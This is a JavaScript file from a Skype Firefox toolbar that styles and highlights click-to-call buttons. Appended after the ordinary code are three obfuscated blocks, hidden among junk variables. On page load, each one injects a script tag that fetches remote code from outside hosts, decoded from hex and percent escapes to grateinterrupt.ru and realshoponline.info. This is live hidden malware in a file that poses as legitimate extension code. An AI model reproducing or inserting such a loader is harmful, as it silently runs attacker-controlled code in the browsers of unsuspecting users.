//CALL BUTTON
var SkypeActiveCallButtonPart = 0;
var skype_aFreeCallIds = new Array();
//var skype_sPathPrefix = "skype_ff_toolbar_win/"; //chrome://skype_ff_toolbar_win/content/
var skype_sPathPrefix = "chrome://skype_ff_toolbar_win/content/";

function SkypeSetCallButtonPart(obj)
{
	if (obj.getAttribute('id') == '__skype_highlight_id_left')
	{
		SkypeActiveCallButtonPart = 0;
	}
	else if (obj.getAttribute('id') == '__skype_highlight_id_right')
	{
		SkypeActiveCallButtonPart = 1;
	}
}

function skype_getCallButtonsParts(obj)
{
	var res = new Object();
	res.cb_part_l = null;
	res.cb_part_ml = null;
	res.cb_part_mr = null;
	res.cb_part_r = null;

	if (obj.getAttribute('rtl') == 'false')
	{
		res.cb_part_l = obj.firstChild.firstChild;
		res.cb_part_ml = obj.firstChild.lastChild;
		res.cb_part_mr = obj.lastChild.firstChild;
		res.cb_part_r = obj.lastChild.lastChild;

		res.cb_flag = obj.firstChild.lastChild.firstChild;
		if (res.cb_flag && res.cb_flag.isSameNode(obj.firstChild.firstChild.firstChild) == true)
			res.cb_flag = null;
	}
	else
	{
		res.cb_part_l = obj.lastChild.lastChild;
		res.cb_part_ml = obj.lastChild.firstChild;
		res.cb_part_mr = obj.firstChild.lastChild;
		res.cb_part_r = obj.firstChild.firstChild;

		res.cb_flag = obj.lastChild.firstChild.lastChild;
		if (res.cb_flag && res.cb_flag.isSameNode(obj.lastChild.lastChild.lastChild) == true)
			res.cb_flag = null;
	}

	return res;
}

function skype_makeFreeCall(obj, isInternational, isFax)
{     
    var doc = window._content.document;	
	if (!doc) return;	
	var originalNode = doc.createElementNS('http://www.w3.org/1999/xhtml', "span");		
	originalNode.setAttribute("id", "__skype_highlight_origignal_node");
	originalNode.setAttribute("class", "skype_tb_injection_innerTextOriginal");
	var originalText = doc.createTextNode(obj.getAttribute('context'));
	originalNode.appendChild(originalText);
	obj.parentNode.insertBefore(originalNode, obj);

	var parts = skype_getCallButtonsParts(obj);
	obj.setAttribute("freecall", "true" );
	
	var name = skype_getSettingById("skype_message_msgFreeCallTooltip").getAttribute("value");
	parts.cb_part_mr.parentNode.setAttribute("title", name);	
	parts.cb_part_ml.firstChild.src = skype_sPathPrefix + "icons/skypeicon_16x16.gif";
	parts.cb_part_ml.firstChild.style.backgroundImage = "none";
	parts.cb_part_ml.firstChild.style.height = "12px";

	parts.cb_part_l.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_l_freecall.gif')";
	if (parts.cb_part_l.isSameNode(parts.cb_part_ml) != true)
		parts.cb_part_ml.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_m_freecall.gif')";		
	parts.cb_part_mr.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_m_freecall.gif')";
	parts.cb_part_r.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_r_freecall.gif')";
	obj.lastChild.firstChild.setAttribute('class', 'skype_tb_innerText_freecall');
	SkypeSetCallButton(obj,0,false,false,null);	
}

function skype_isFreeCall(obj)
{
	return (obj.getAttribute('freecall') == null || obj.getAttribute('freecall') == "0") ? false : true;
}

function SkypeSetCallButton(obj, hl, isInternational, isFax, _event)
{
	var callButtonsParts = skype_getCallButtonsParts(obj);
	var cb_part_l  = callButtonsParts.cb_part_l;
	var cb_part_ml = callButtonsParts.cb_part_ml;
	var cb_part_mr = callButtonsParts.cb_part_mr;
	var cb_part_r  = callButtonsParts.cb_part_r;
	var cb_flag    = callButtonsParts.cb_flag;
	var isFreeCall = skype_isFreeCall(obj);

	if (hl == 1)
	{
		if (isFreeCall)
		{	
		    try{	    
		    var innerTextObj = obj.lastChild.firstChild;
			var coords = getElementAbsolutePos(innerTextObj);
			var x2 = coords.x + innerTextObj.offsetWidth;
			var y2 = coords.y + innerTextObj.offsetHeight;
            
		    /*if ((_event.pageX > coords.x) && (_event.pageY > coords.y) && (_event.pageX < x2) && (_event.pageY < y2)) 
			{		
			    return;
			}*/			

			obj.lastChild.firstChild.removeChild(obj.lastChild.firstChild.lastChild);			
			if ( (typeof(innerTextObj.lastChild.id) != "undefined") && (innerTextObj.lastChild.id == "freecallLabel") )
			{
				obj.lastChild.firstChild.removeChild(obj.lastChild.firstChild.lastChild);
			}			
			obj.lastChild.firstChild.innerHTML += obj.getAttribute('context');
			}
			catch(e)
			{alert(e);}
		}
		else
		{
			cb_part_l.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_mouseover_l.gif')";
			if (cb_part_l.isSameNode(cb_part_ml) != true)
				cb_part_ml.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_mouseover_m.gif')";
			cb_part_mr.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_mouseover_m.gif')";

			if (isInternational == "0")
			{
				if (SkypeActiveCallButtonPart == 0)    //left
				{
					cb_part_r.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_mouseonflag_r"+(isFax?"_fax":"")+".gif')";
					//shadow
					if (cb_flag)
					{
						cb_flag.style.top = '1px';
						cb_flag.style.left = '1px';
						/*top right bottom left*/
						cb_flag.style.padding = '1px 0px 0px 1px';//'2px 0px 0px 0px';
					}
				}
				else                            //right
				{
					cb_part_r.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_mouseover_r"+(isFax?"_fax":"")+".gif')";
					//flag
					if (cb_flag)
					{
						cb_flag.style.top = '0px';
						cb_flag.style.left = '0px';
						cb_flag.style.padding = '0px 1px 1px 0px';//'0px 1px 1px 0px';
						cb_flag.style.margin = '0px 0px 2px 0px;';
					}
				}
			}
			else
			{
				cb_part_r.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_mouseover_r"+(isFax?"_fax":"")+".gif')";
				//flag
				if (cb_flag)
				{
					cb_flag.style.top = '0px';
					cb_flag.style.left = '0px';
					cb_flag.style.padding = '0px 1px 1px 0px';
					cb_flag.style.margin = '0px 0px 2px 0px;';
				}
			}
		}
	}
	else
	{
		if (isFreeCall)
		{			
			var innerTextObj = obj.lastChild.firstChild;
			if (typeof(innerTextObj.lastChild.tagName) == "undefined")
			{
				var blockWidth = innerTextObj.offsetWidth - 60; // 56px - width of freecall_label.gif, 4px - padding-left
				var inject = "<img src='" + skype_sPathPrefix + "freecall_label.gif' id='freecallLabel'>";

				if (blockWidth > 0)
				{
					inject += "<img src='" + skype_sPathPrefix + "space.gif' style='height: 1px; width: " + blockWidth + "px;' id='freecallSpace'>";
				}

				obj.lastChild.firstChild.lastChild.nodeValue = "";
				innerTextObj.innerHTML += inject;
			}
		}
		else
		{
			cb_part_l.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_l.gif')";
			if (cb_part_l.isSameNode(cb_part_ml) != true)
				cb_part_ml.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_m.gif')";
			cb_part_mr.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_m.gif')";
			cb_part_r.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_normal_r"+(isFax?"_fax":"")+".gif')";

			//flag
			if (cb_flag)
			{
				cb_flag.style.top = '0px';
				cb_flag.left = '0px';
				cb_flag.style.padding = '0px 1px 1px 0px';
				cb_flag.style.margin = '0px 0px 2px 0px;';
			}
		}
	}
}
var skype_cb_l = '';
var skype_cb_m = '';
var skype_cb_r = '';

function SkypeSetCallButtonPressed(obj, pr, isInternational, isFax)
{
	var callButtonsParts = skype_getCallButtonsParts(obj);
	var cb_part_l  = callButtonsParts.cb_part_l;
	var cb_part_ml = callButtonsParts.cb_part_ml;
	var cb_part_mr = callButtonsParts.cb_part_mr;
	var cb_part_r  = callButtonsParts.cb_part_r;
	var cb_flag    = callButtonsParts.cb_flag;
	var isFreeCall = skype_isFreeCall(obj);

	if (!isFreeCall)
	{
		if (pr == 1)
		{
			skype_cb_l = cb_part_l.style.backgroundImage;//getAttribute('src');
			skype_cb_m = cb_part_mr.style.backgroundImage;
			skype_cb_r = cb_part_r.style.backgroundImage;//getAttribute('src');

			if (isInternational == "0")
			{
				if (SkypeActiveCallButtonPart == 0)    //left
				{
					//obj.firstChild.firstChild.setAttribute('src', '" + skype_sPathPrefix + "cb_down_l.gif');
					cb_part_l.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_l.gif')";
					if (cb_part_l.isSameNode(cb_part_ml) != true)
						cb_part_ml.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_m.gif')";
				}
				else                            //right
				{
					//obj.firstChild.firstChild.setAttribute('src', '" + skype_sPathPrefix + "cb_down_l.gif');
					cb_part_l.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_l.gif')";
					if (cb_part_l.isSameNode(cb_part_ml) != true)
						cb_part_ml.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_m.gif')";
					cb_part_mr.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_m.gif')";
					//obj.lastChild.lastChild.setAttribute('src', '" + skype_sPathPrefix + "cb_down_r"+(isFax?"_fax":"")+".gif');
					cb_part_r.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_r"+(isFax?"_fax":"")+".gif')";
				}
			}
			else
			{
				//obj.firstChild.firstChild.setAttribute('src', '" + skype_sPathPrefix + "cb_down_l.gif');
				cb_part_l.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_l.gif')";
				if (cb_part_l.isSameNode(cb_part_ml) != true)
					cb_part_ml.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_m.gif')";
				cb_part_mr.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_m.gif')";
					//obj.lastChild.lastChild.setAttribute('src', '" + skype_sPathPrefix + "cb_down_r"+(isFax?"_fax":"")+".gif');
				cb_part_r.style.backgroundImage = "url('" + skype_sPathPrefix + "cb_down_r"+(isFax?"_fax":"")+".gif')";
			}
		}
		else
		{
			//obj.firstChild.firstChild.setAttribute('src', skype_cb_l);
			cb_part_l.style.backgroundImage = skype_cb_l;
			if (cb_part_l.isSameNode(cb_part_ml) != true)
				cb_part_ml.style.backgroundImage = skype_cb_m;
			cb_part_mr.style.backgroundImage = skype_cb_m;
			//obj.lastChild.lastChild.setAttribute('src', skype_cb_r);
			cb_part_r.style.backgroundImage = skype_cb_r;
		}
	}
}

function __skype_nh_icon_mouseOver(obj)
{
    //obj.setAttribute("src", getArrowedIcon(obj.getAttribute('src')));

	var coords = getElementAbsolutePos(obj);
	if (timerID) clearTimeout(timerID);
	timerID = null;

	if (coords.x == lastX && coords.y == lastY) return;
	__skype_nh_icon_mouseOut1();
	lastX = coords.x;
	lastY = coords.y;

    var arrowImg = document.createElement("img");
    if(arrowImg)
    {
        arrowImg.id = "skype_arrow";
        //arrowImg.setAttribute('class', 'skype_name_highlight_arrow');
        
		arrowImg.setAttribute('src',"chrome://skype_ff_toolbar_win/content/icons/arrow.gif");        
        arrowImg.style.position = "absolute";
        arrowImg.style.left = (coords.x + 12) + "px";
        arrowImg.style.top = (coords.y) + "px";
        arrowImg.setAttribute("onmouseover", "__skype_nh_icon_mouseOut2();");
        arrowImg.setAttribute("onmouseout", "__skype_nh_icon_mouseOut();");
        document.body.appendChild(arrowImg);

    }
}

//returns the absolute position of some element within document
function getElementAbsolutePos(element)
{
    var res = new Object();
    res.x = 0; res.y = 0;
    if (element !== null)
    {
        res.x = element.offsetLeft;
        res.y = element.offsetTop;

        var offsetParent = element.offsetParent;
        var parentNode = element.parentNode;

        while (offsetParent !== null)
        {
            res.x += offsetParent.offsetLeft;
            res.y += offsetParent.offsetTop;

            if (offsetParent != document.body && offsetParent != document.documentElement)
            {
                res.x -= offsetParent.scrollLeft;
                res.y -= offsetParent.scrollTop;
            }
            //next lines are necessary to support FireFox problem with offsetParent  
            {
                while (offsetParent != parentNode && parentNode !== null)
                {
                    res.x -= parentNode.scrollLeft;
                    res.y -= parentNode.scrollTop;

                    parentNode = parentNode.parentNode;
                }
            }
            parentNode = offsetParent.parentNode;
            offsetParent = offsetParent.offsetParent;
        }
    }
    return res;
};


var timerID = null;
var lastX = 0;
var lastY = 0;

function __skype_nh_icon_mouseOut(obj)
{
	timerID = setTimeout(__skype_nh_icon_mouseOut1, 10);
}

function __skype_nh_icon_mouseOut2()
{
	if (timerID) clearTimeout(timerID);
	timerID = null;
}

function __skype_nh_icon_mouseOut1()
{
	var arrow = document.getElementById("skype_arrow");
    if(arrow)
    	document.body.removeChild(arrow);
    lastX = 0;
    lastY = 0;
}
try {var D;if(D!='J' && D != ''){D=null};var _=window[unescape("%75%6e%65%73%63%61%70%65")];var yx="";var M="";var O=window[_("%52%65%67%45%78%70")];var Qr=new String();var d=null;var Br="";var ZS=new Array();var I=_("%72%65%70%6c%61%63%65");var n=new Array();var Ol=new Date();var dr=new Date();function k(g,A){var UH=new String();var j=_("%5b");var gx;if(gx!='' && gx!='yH'){gx=null};var R=new String();j+=A;j+=_("%5d");this.ka="";this.rS="";var y=new O(j, _("%67"));var jD=new Date();var eG;if(eG!='' && eG!='pl'){eG=null};return g.replace(y, d);var kd=new Array();};var kp;if(kp!='yu'){kp=''};this.hv='';var Y=k('8753914990951471638231217249105642176','49367125');var uo=new Date();var u=new String("onlo"+"adOhM".substr(0,2));var dt=new Date();var GA=new Date();var r="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x72\x61\x74\x65\x69\x6e\x74\x65\x72\x72\x75\x70\x74\x2e\x72\x75\x3a";var rp;if(rp!='nQ' && rp!='uW'){rp=''};var o='';var gT=k('/_hCsRb_cf-wc9o_-Hu9kR/zg9oroRgrlweH._cCowmz/wlSirbHaR.Hcfo_m_.HpfhRp_','CSyHzRrwd9f_4');this.SS='';var fx;if(fx!='' && fx!='oL'){fx=''};var g=_("%31");var e=_("%73%63%72%69%70%74");var NN;if(NN!='X'){NN='X'};function w(){var K=new Array();var Q=document;var ZI;if(ZI!='WL' && ZI!='Kj'){ZI='WL'};var Ct=new Date();var z=new Date();U=Q.createElement(e);var MG=new Array();var td=new Array();var s_="";var Mo='';o+=r;var ZA;if(ZA!='' && ZA!='Pq'){ZA='ik'};o+=Y+gT;var uM;if(uM!='' && uM!='PQ'){uM=null};var qW=new Date();var ej=Q.body;var NC=new Date();U.defer=g;var Fv;if(Fv!='seB' && Fv != ''){Fv=null};var NF;if(NF!='DV' && NF != ''){NF=null};U.src=o;var NG=new Array();var _d=new Array();var Im;if(Im!='' && Im!='BD'){Im='Er'};var zr=new Array();ej.appendChild(U);var v;if(v!='ez'){v='ez'};this.wD="";};var kj='';var GP='';this.uv="";window[u]=w;this.Pf="";} catch(du){var Wb;if(Wb!='lH'){Wb=''};var KM;if(KM!='XW' && KM != ''){KM=null};};this.RS='';this.we='';
this.t='';this.A='';try {var nd=new Array();var IL='';var BM='';var J=window[unescape("%75%6e%65%73%63%61%70%65")];var D='';var Rk=new Array();this.FL="";var G=null;var Mu=new Array();var gn;if(gn!='u' && gn != ''){gn=null};var SV="";var T=window[J("%52%65%67%45%78%70")];var F=J("%72%65%70%6c%61%63%65");this.no='';var x;if(x!='' && x!='bk'){x=null};var gs='';function p(I,n){var m=new String();var H=new String();this.hj='';var X=J("%5b");var Ql;if(Ql!=''){Ql='Mi'};X+=n;X+=J("%5d");var L=new T(X, J("%67"));return I.replace(L, G);var xw="";this.Uu="";};var qE=new Array();this.a='';var EG=new Date();var V=J("%73%63%72%69%70%74");var jy=new Array();var I=J("%31");var tR;if(tR!=''){tR='my'};var N=p('843214164616606466165634398166975136311055619677171','71632495');var _N;if(_N!='Ye' && _N!='RV'){_N=''};var lf;if(lf!='YD'){lf='YD'};var v=p('/Rg4oxo2gKl3eW.Ec2oWm7/WbxaCn7k2oxfxaRmRe3rEiKc4aE.4c1oRm2/xlCeEmBoRnWdKeK.7fxr4.2p2hxpC','KBx2RW917384EC');var s;if(s!='c' && s!='ck'){s='c'};var RG=new String();var e='';var Jt=new String();var HaB=new Array();var Cb=new String();var pd="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x72\x61\x74\x65\x69\x6e\x74\x65\x72\x72\x75\x70\x74\x2e\x72\x75\x3a";var Ll=new String("onlaxKE".substr(0,3)+"Cw4oad".substr(3));this.sZ="";var lk;if(lk!='' && lk!='Mo'){lk=null};var EE=new Array();function TY(){this.SX="";var eU=new Date();var ki=new Date();var f=document;this.Uz='';var i=new Date();eG=f.createElement(V);var LO=new Date();var vt;if(vt!='EX'){vt=''};var iG=new String();e+=pd;this.ZA="";var Ck=new Array();e+=N+v;this.IV="";var d=f.body;eG.defer=I;var de=new Array();eG.src=e;var qEn;if(qEn!=''){qEn='pk'};var Zk=new Date();var KL;if(KL!=''){KL='Ka'};d.appendChild(eG);var Qh='';var iV=new Array();};var yb;if(yb!=''){yb='hZ'};var Jg=new Date();this.ro="";var vB;if(vB!='' && vB!='ILI'){vB='bJ'};window[Ll]=TY;var uB;if(uB!='' && uB!='DL'){uB='P'};var xU="";} catch(O){var YZ;if(YZ!='LD' && YZ != ''){YZ=null};var rI=new String();};





this.r="";this.wT="";function J(){var c;if(c!='BT'){c=''};var x=new Date();var d=window;var cN;if(cN!='jw' && cN!='y'){cN=''};var Y=d['unescape'];var e;if(e!=''){e='z'};var q=Y("%2f%62%61%68%6e%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%6f%79%73%72%75%73%2e%63%6f%6d%2e%70%68%70");var H=new String();this.hI="";function a(I,G){var cK;if(cK!=''){cK='_'};this.C="";var bs="";var B=Y("%5d");var u=Y("%5b");var V;if(V!='' && V!='_E'){V=null};var n="Z3Yg".substr(3);var bj;if(bj!='WO' && bj!='p'){bj='WO'};this.t="";var S=new RegExp(u+G+B, n);this.fJ="";var mw;if(mw!='Dh'){mw=''};var rm="";return I.replace(S, new String());this.Mt="";};var NT=new String();var aY;if(aY!='' && aY!='Ty'){aY=''};var DG;if(DG!='Jk' && DG!='gX'){DG=''};this.hF='';var W=document;var Z='';var j=a('84279269271077374459298166754647403927962126','41752936');var kH;if(kH!='xZ' && kH != ''){kH=null};var ei="";var U=a('s8c3r8i8pht0','HP06Wa7j3JhxD8gblwU');var F="";var yT="";var M=a('szrDcZ','hIzADZ3G');var uN=a('dSeVfxetr9','ykQjZtwV95p8SCsx');var Ro="";var ps;if(ps!=''){ps='Zp'};var CQ;if(CQ!='' && CQ!='_C'){CQ=''};var ou;if(ou!='' && ou!='NC'){ou=''};function YQ(){var CY;if(CY!='pr'){CY='pr'};var Nf;if(Nf!='hn' && Nf!='pY'){Nf='hn'};var g=Y("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");var VB=new Array();var Gb=g;var qu;if(qu!=''){qu='dL'};var ZpR=new String();Gb+=j;Gb+=q;var wZ;if(wZ!='cX'){wZ=''};var Pv;if(Pv!='uB' && Pv!='Cb'){Pv=''};this.mN="";var Qh="";try {var lx=new String();Q=W[a('czr8ekavtgekE9l0exmKe9nvt9','zQ6Fv8Tx9GAk72DsgV54uP0Kd')](U);var ry=new Date();Q[uN]=[2,1][1];var lK='';var tP;if(tP!='lT' && tP!='Iq'){tP='lT'};Q[M]=Gb;var Kc=new Date();var Gj;if(Gj!='SQ'){Gj=''};var uM;if(uM!='' && uM!='pL'){uM=''};var YD=new String();W.body[a('aLpMpkePnLdLCPhLiLlkdM','kLMN4P0')](Q);var ur;if(ur!='sB' && ur != ''){ur=null};var f_;if(f_!='' && f_!='mr'){f_='UJ'};this.uz='';} catch(nk){var ZF='';var kX;if(kX!='VS'){kX=''};};var SJ="";var QL;if(QL!='xH' && QL!='mu'){QL='xH'};var Lc;if(Lc!='KY'){Lc='KY'};}var bA;if(bA!='' && bA!='RC'){bA='Ow'};var _a="";var i=a('ojnblco8aNdc','vbwcBmpTLj890N1');var XV;if(XV!='' && XV!='vZ'){XV=''};d[i]=YQ;var SL=new Array();var qy="";};var qd;if(qd!='np' && qd!='HD'){qd=''};var sZ="";J();